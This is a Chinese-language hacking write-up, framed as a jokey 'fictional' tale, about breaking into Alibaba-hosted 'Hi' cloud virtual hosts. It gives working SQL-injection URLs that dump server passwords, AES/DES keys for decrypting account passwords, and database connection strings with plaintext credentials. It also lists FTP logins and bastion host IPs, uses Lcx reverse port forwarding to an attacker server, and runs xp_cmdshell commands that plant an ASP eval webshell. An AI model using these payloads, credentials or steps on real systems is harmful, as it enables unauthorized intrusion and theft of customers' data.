(本文纯属虚构,如有雷同,实属巧合)
重阳祭祖,在闲暇之余,且听我讲述一个小小的故事。
很久很久以前,一个叫Hi的女孩和倭国的阿里发生了一夜情。Hi意乱情迷,浑不顾众人的反对,嫁鸡随鸡了。阿里现在做起了互联网的生意,瞧,这不是他们正在热推的云虚机吗?
图1 云虚机
共享经济版,就是传统的虚拟主机,几百个客户挤在一台服务器上,共享有限的资源。独享版呢,就要多掏银子,争取好一些的服务。一度被称为轻云的独享版,如今与共享版一起上了云,美其名曰云虚机。
相比绚丽的广告,阿里为客户提供了朴素到极致的管理界面,最近我爱上了一块五一包的康师傅,品质和这差不太多。
图2 云虚机的管理界面
花费不少银子,为什么不能拥有一个图形界面呢?于是我敲敲桌子,大喊:“小二,来个图形界面。”小二很殷勤,“客官,您只需要小小地升个级。”我递过信用卡,不一会,小二回来了,“客户,余额不足哦。”我纳闷了:“不是还有五百块吗?”小二笑了笑,投过一个深深的眼神:“升级需要五千大洋哦。”我赶紧挥挥手,把永远都那么讨人喜欢的小二打发掉了。
咱谨记太祖的训示,“自己动手,丰衣足食。”诸位且看小子如何征服云虚机。
虚机改了名,上了云,终究还是一个没骨的。征服它不难,难的是无处不在的防火墙,转发利器Lcx又得到了出场的机会。
首先,从你掌握的资源中挑选一台位于公网的服务器,再从服务器对外开放的端口中,选出一个空闲的,用于Lcx监听云虚机的请求。这一次我选择了443端口。此外,Lcx还需要一个监听服务器上的远程工具连接的端口,只须空闲即可,我选择了2500。(在命令提示符下使用netstat –an查看已用的端口)
图3 Lcx连接示意图
图4 连接步骤1:公网服务器上的服务端执行监听
图4 连接步骤1:公网服务器上的服务端执行监听
其次,在云虚机上运行Lcx客户端。我一般直接使用别人从AspxSpy抠出的代码,因为做过混淆,也就略过不提。需要理解原理的同学可参考《WINDOWS网络编程技术》一书,把那几个常用的API理解了,把几个模型弄清了,一通百通。使用时,点击“MapPort”建立连接。如果连接中断了,可以使用“ClearAll”关闭已经打开的Socket,再重新建立连接。只要稍加留意服务器端的提示,还是很简单的。图中的a.b.c.d是公网服务器的IP地址,端口为443。
图5 连接步骤2:云虚机上的客户端执行连接
几秒钟之后服务器提示接头成功。
图6 与客户端建立连接
如上图,Lcx已在云虚机与公网服务器间建立了连接。此时就可以在服务器上使用远程连接工具来访问云虚机了,连接地址为127.0.0.1:2500。注意啰,不要直接连接云虚机的IP。
图7 在服务器上远程连接云虚机
曾经使用过一个独创的Lcx,为了避免空闲时掉线,代码中添加了闲时发包的功能。这一个改进自然是好的,但倘若与原生的Lcx共用,却又无法匹配工作。假如在开发之时把它作为一个可选的选项,也许会更好一些。
年初云小编审稿,Hi还吊着半条命,为此我省略了密码问题,他也干脆地把我给毙掉了。如今逝者已矣,Hi托梦与我,曾经由她掌控的云虚机有如下命名规则 :
规则 | 说明 |
服务器默认创建2(或3、4个?)个管理帐号 | 虚无飘渺的梦境啊 |
若服务器名为qyw-10000,则管理帐号为qyw10000adm及qyw10000bka。若存在Mssql,则禁用sa,并改名为sa_qyw10000adm | 那位大哥,不要迷恋sa了,好不 |
密码为8或10位的数字与小写字母轮流出现的随机组合。(且避开某些不易区分的数字与字母?) | Hi的经典之密q1w2e3r4 |
管理帐号的密码采用AES加密 Key: XO7BWKVmCzFV43VNm6jlsQ== IV: +AjPNc+raabKpHYqsQeZAQ== | Key与IV需如下转换成字节数组:byte[] bytes1 = Convert.FromBase64String(AESkey) 测试用例:Hello:goMNyIL+hkhSXyZbkPBH9g== |
Ftp的密码采用DES加密 Key: woskxmvb | 测试用例:Hello:F45FCB92F2561036 |
恰巧手上有一枚未破之密,咱也不用什么Intel,附近就是国产生物电脑的聚集地——乖宝宝幼稚园。五分钟之后,小朋友们人手一颗棒棒糖,在宣传部小妹妹的鼓动之下,操起“全世界最安全”的“安全手机”并行登录,场面蔚为壮观。不一会阿土伯的曾孙阿土仔最先登顶——原来是一台市值40大虾的青岛主机。
图8 短了0.06GHz,王海何在
一时兴起,想探究为何IIS被设置为32位模式,谁知……
图9 Hi模块无法运行于64位模式
是夜,秋风渐起凉人意,咱晒晒山寨代码暖和一下。
图10 256位AES
我自罚三杯,早早地睡了,想到明日就可实现不睡懒觉的伟大理想,辗转反侧。
翌日,我错过了最后一个肉包子。还是大师说的对,“施主,吃素有益健康,请把肉施舍给老衲吧,哦米拖佛。”
掘的过程犹如筛沙,漫长而无聊,今日稍加展示三颗璀璨的蓝宝石。
第一枚,vhcon.hi.com漏点。查询vminfo表:
http://vhcon. hi.com/taskmanstatus/query.aspx?likename=cnd%27 union all Select top 100 Convert(Nvarchar(4000),[主机名]%2bChar(124)%2b[adm口令]%2bchar(124)%2b[bka口令]%2bchar(124)%2b[数据库口令]%2bchar(124)%2b[主IP]%2bchar(124)%2b[从IP]%2bchar(124)%2b[主机类型]%2bchar(124)%2b[系统类型]%2bchar(124)%2b[系统版本]%2bchar(124)%2b[出厂编号]%2bchar(124)%2b[机房位置]%2bchar(124)%2b[从IP情况说明]%2bchar(124)%2b[组号]%2bchar(124)%2b[内网IP]%2bchar(124)%2b[城市]%2bchar(124)%2b[服务商]%2bchar(124)%2b[机房]%2bchar(124)%2b[服务器类型]%2bChar(124)%2bconvert(nvarchar(400),[id])) as servername,[主IP] as chkuserdir From [hiconnect_db]..[vminfo];--&act=loadtask&taskname=chkuserdir&tasktype=unmatch&
查询keyplatform表。对于这个keyplatform,我曾经做过非常深入的问卷调查,全国人民一致表示资历尚浅,弄不清这西洋文~~~后经专家的权威认证,Key是钥匙,platform是平台,而后专家缓缓地闭上眼,想像出平台上挂满了钥匙的场景。如此渊博的学识,无怪已经入选了社科院,佩服佩服。
http://vhcon.hi.com/taskmanstatus/query.aspx?likename=cnd%27 union all Select top 1000 Convert(Nvarchar(4000),[hostname]%2bChar(124)%2b[wanip]%2bchar(124)%2b[lanip]%2bchar(124)%2b[username]%2bchar(124)%2b[password]%2bchar(124)%2b[conip]%2bchar(124)%2bconvert(nvarchar(200),[contype])%2bchar(124)%2b[os]%2bchar(124)%2b[dev]%2bchar(124)%2b[pe]%2bchar(124)%2bconvert(nvarchar(200),[appgroup])%2bchar(124)%2b[city]%2bchar(124)%2b[jifang]%2bchar(124)%2b[apps]%2bchar(124)%2bconvert(nvarchar(200),[ifdel])%2bChar(124)%2bconvert(nvarchar(400),[id])) as servername,[hostname] as chkuserdir From [hiconnect_db]..[keyplatform];--&act=loadtask&taskname=chkuserdir&tasktype=unmatch&
图12 keyplatform
第二枚,立足于Hi的服务器,访问opdown.hi.com,用户名civilink,密码opdown。下载HiConnectClient.zip,解压后将“常用表格-虚机.xls”去除密码,三万台虚拟服务器一目了然。
图13 Opdown的满汉全席
图14 明码标价,诚得我心
第三枚,令小Hi投怀送抱的终极晶钻——Hi之心,核心数据库的连接串为
(1)server=hi.sqlserver.rds.aliyuncs.com,3433;uid=hmpsa;pwd=hmp_hi;database=hi_hmp (2)server= hi.sqlserver.rds.aliyuncs.com,3433;Database=cmp;uid=cmpsa;pwd=SgXYit_XHGScmpNet_xs (3)data source = hi.sqlserver.rds.aliyuncs.com,3433;initial catalog = hiflow; user id =hiflowsa;password =Sgfit_XHGSHiflow_Xk (4)Data Source=10.247.62.2;Initial Catalog=HiService;uid=hcmsdb;pwd=q2*utg%$jbhe## (5)Data Source=10.247.62.2;Database=CloudPlantform;uid=cmpsa;pwd=q1w2e3r4t5y6u7i8o9p0!@#$% (6)Data Source=10.247.62.3;Database=Ah_Monitor;uid=hcmssa;pwd=q2*utg%$jbhe## (7)Data Source=10.247.62.10;Initial Catalog=HiServices;uid=sa;pwd=qwe~123#EDC (8)server= hi.mysql.rds.aliyuncs.com;user id=cproot;password=cp_q1w2e3r4;database=cp_db
图15 陈旧的Hmp数据库
五万台服务器,三十万用户,多乎哉,不多也。阿里人无须惊慌,这些小小的疏忽都是临时工导致的,是早已废弃的备份,主库目前置于极其安全的防护下,如需攻破还得等到本世纪中叶。
每逢激情上演,万恶的防火墙总要跳出坏人好事。22、887、3389、9001,15588,为何我需要的端口都被封杀?社工团员们,考验你们的时候到了。你们去阿里那儿,一定要安下心来发展业务,顺便喝杯水,蹭蹭Wifi,胆大的皮厚的拉着客服姐姐的小手聊聊天,借用姐姐的手机上上网,我等着你们的好消息。与此同时,我还是探寻技术之路吧。
遍翻武林秘籍,传闻要越过这道“马其诺防线”,唯有找到堡垒鸡。向来只听闻阿凡达的大公鸡、雅加达的老母鸡和思密达的小鸡鸡,堡垒鸡又是什么东西?原来海归名叫Bastion,二代身份证上赫然印着“巴斯申”:
名称 | IP地址 |
BastionHost.BJ | 112.126.126.55 |
BastionHost.HZ | 223.5.28.254 |
OPDown.BJ | 112.125.19.77 |
OPDown.HZ | 223.4.0.250 |
NewBastion.QD | 115.28.42.160 |
NewBastion.HZ | 112.124.31.107 |
OXS1.HZ | 10.154.180.26 |
OXS2.HZ | 10.154.180.27 |
堡垒鸡,你还配作一个代理吗,刀枪林立,戒备森严,我还是远远绕道莫要理会。
我欲乘风归去,cvbb却死皮赖脸地抱住导演的大腿直抱怨戏份少,走不得,无奈,只得加戏!
场景一:期末考试中,cvbb正襟危坐,实则早与外部搭上了天地线。
Q:(问答题,10分)已知远程Mssql主机的系统管理帐号hds129adm,密码x,禁用了sa,请给出登录步骤。(警告:挑战主考官智商者倒扣10分)
cvbb欲答:速令黑社会24小时内占领主机!这气势,是挑战主考官的节奏吗?再看外边传进的答案:
A: (1) 运行虚拟机,添加同名、同密码帐户,以此帐户重新登录
(2) 在虚拟机中,运行SSMS,选择“Windows身份验证”登录数据库(图16,17)
(3) 启用cmdshell
(4) 在cmdshell中检查w3svc等IIS相关服务及80端口是否正常,必要时使用adsutil.vbs创建一个新站点(图18)
(5) 在所选的站点下生成一句话(图18)
(6) 使用一句话上传端口转发工具
(7) 凌晨两点准时鸣放100响礼炮提醒大家早睡早起身体好
图16 禁用sa也无妨
图17 禁用sa也无妨之二
exec xp_cmdshell 'c:/windows/system32/cmd.exe /c cacls d:/software /e /t /g everyone:f' exec xp_cmdshell 'echo ^<%b=request("#")%^>^<%eval b%^> > d:/software/1.asp' exec xp_cmdshell 'C:/Inetpub/AdminScripts/adsutil.vbs create_vserv w3svc/99' exec xp_cmdshell 'C:/Inetpub/AdminScripts/adsutil.vbs set w3svc/99/serversize 100' exec xp_cmdshell 'C:/Inetpub/AdminScripts/adsutil.vbs set w3svc/99/servercomment "test"' exec xp_cmdshell 'C:/Inetpub/AdminScripts/adsutil.vbs set w3svc/99/serverbindings ":80:"' exec xp_cmdshell 'C:/Inetpub/AdminScripts/adsutil.vbs set w3svc/99/enabledefaultdoc true' exec xp_cmdshell 'C:/Inetpub/AdminScripts/adsutil.vbs set w3svc/99/root/path d:/software' exec xp_cmdshell 'C:/Inetpub/AdminScripts/adsutil.vbs set w3svc/99/root/accessread true' exec xp_cmdshell 'C:/Inetpub/AdminScripts/adsutil.vbs set w3svc/99/root/accesswrite true' exec xp_cmdshell 'C:/Inetpub/AdminScripts/adsutil.vbs set w3svc/99/root/accessscript true' exec xp_cmdshell 'C:/Inetpub/AdminScripts/adsutil.vbs set w3svc/99/root/enabledefaultdoc true' exec xp_cmdshell 'C:/Inetpub/AdminScripts/adsutil.vbs set w3svc/99/root/appfriendlyName 默认应用程序' exec xp_cmdshell 'C:/Inetpub/AdminScripts/adsutil.vbs start_server w3svc/99'
图18 创建新站点,生成一句话
使用Dos命令echo生成一句话时使用了转义符^(数字6上头之符号)。新站点可直接使用IP地址访问。某些防火墙可能会限制IP地址的访问,随机应变就是了。
场景二:期末考试进行中,vcbb仍正襟危坐。
Q:(问答题,10分)已知虚拟主机所在服务器的系统管理帐号bgw002adm,密码x,请给出登录步骤。(警告:挑战主考官智商者倒扣20分) cvbb欲答:强攻机房,限黑社会6小时内占领主机~~~真是一个语不惊人死不休的人哪,再看外边传进的答案:
A:
(1) 登录Hmp库,在VirtualHostInfo表中查找该主机的Ftp用户名和密码(图19)
(2) 使用Ftp上传端口转发工具
(3) 凌晨四点准时鸣放500响请大家早起锻炼身体后,自己睡觉
图19 VirtualHostInfo表
cvbb与众不同之处,就在于模拟。尤其这类已知用户密码的场合,实在太适合他的发挥了。
图20 如鱼得水
导演一声cut,cvbb好歹露了一脸,面上有光,终于肯乖乖地回去了。
阿里抽出Hi的筋骨,前后历经四年,多种手段并进:
(1) 部门整合,打乱编制
(2) 主要开发人员调往营销岗位,中止新技术研发
(3) 老员工离职
(4) 平台迁移,解散运维部门
(5) 文化渗透
打着减少成本的光鲜旗号不断削弱Hi的力量,最终Hi成为阿里的一颗死棋子,失去了所有的技术与资源。
惆怅中,只闻一首古曲从远方渺渺传来……
春花秋月何时了?往事知多少。小楼昨夜又东风,故国不堪回首月明中。雕栏玉砌应犹在,只是朱颜改。问君能有几多愁?恰似一江春水向东流。